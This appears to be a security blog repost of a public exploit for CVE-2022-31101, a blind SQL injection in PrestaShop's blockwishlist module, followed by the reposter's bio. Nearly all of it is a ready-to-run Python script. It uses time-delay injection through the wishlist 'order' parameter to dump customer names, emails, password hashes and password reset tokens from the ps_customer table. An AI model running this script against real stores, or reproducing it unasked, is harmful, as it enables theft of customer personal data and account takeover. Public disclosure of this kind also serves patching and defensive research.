Wednesday, June 19, 2024

Prestashop SQLi blockwishlist module 2.1.0

An SQL Injection vulnerability was discovered in Prestashop Blockwishlist module by security researcher Karthik UJ.

# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101


# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop

import requests

url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")

header = {
    "Cookie": cookie
}

# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)


# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
    condition = "LENGTH(database())=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
        dbLength=length
        print("Length: ", length, end='')
        print("\n")
        break

print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
    for char in charset:
        condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
        fullUrl = url + param + staticStart + condition + staticEnd

        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            print(char, end='')
            databaseName += char
            break
print()

# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"

print("\nEnumerating " + tableName + " table")

for id in range(1, 10):

    condition = "id_customer=" + str(id)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
        print("\nOnly " + str(id - 1) + " records found. Exiting...")
        break
    except requests.exceptions.Timeout:
        pass

    print("\nid = " + str(id))

    # Finding firstname length
    for length in range(0, 100):
        condition = "LENGTH(firstname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            firstnameLength=length
            print("Firstname length: ", length, end='')
            print()
            break
        
    
    # Enumerate firstname
    firstname = ''
    print("Firstname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding lastname length
    for length in range(1, 100):
        condition = "LENGTH(lastname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            lastnameLength=length
            print("Lastname length: ", length, end='')
            print()
            break
    
    # Enumerate lastname
    lastname = ''
    print("Lastname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding email length
    for length in range(1, 320):
        condition = "LENGTH(email)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            emailLength=length
            print("Email length: ", length, end='')
            print()
            break    

    # Enumerate email
    email = ''
    print("Email: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    email += char
            except requests.exceptions.Timeout:
                print(char, end='')
                email += char
                break
    print()

    # Finding password hash length
    for length in range(1, 500):
        condition = "LENGTH(passwd)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            passwordHashLength=length
            print("Password hash length: ", length, end='')
            print()
            break    

    # Enumerate password hash
    passwordHash = ''
    print("Password hash: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    passwordHash += char
            except requests.exceptions.Timeout:
                print(char, end='')
                passwordHash += char
                break
    print()

    # Finding password reset token length
    for length in range(0, 500):
        condition = "LENGTH(reset_password_token)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            passwordResetTokenLength=length
            print("Password reset token length: ", length, end='')
            print()
            break    

    # Enumerate password reset token
    passwordResetToken = ''
    print("Password reset token: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':
                    print(char, end='')
                    passwordResetToken += char
            except requests.exceptions.Timeout:
                print(char, end='')
                passwordResetToken += char
                break
    print()

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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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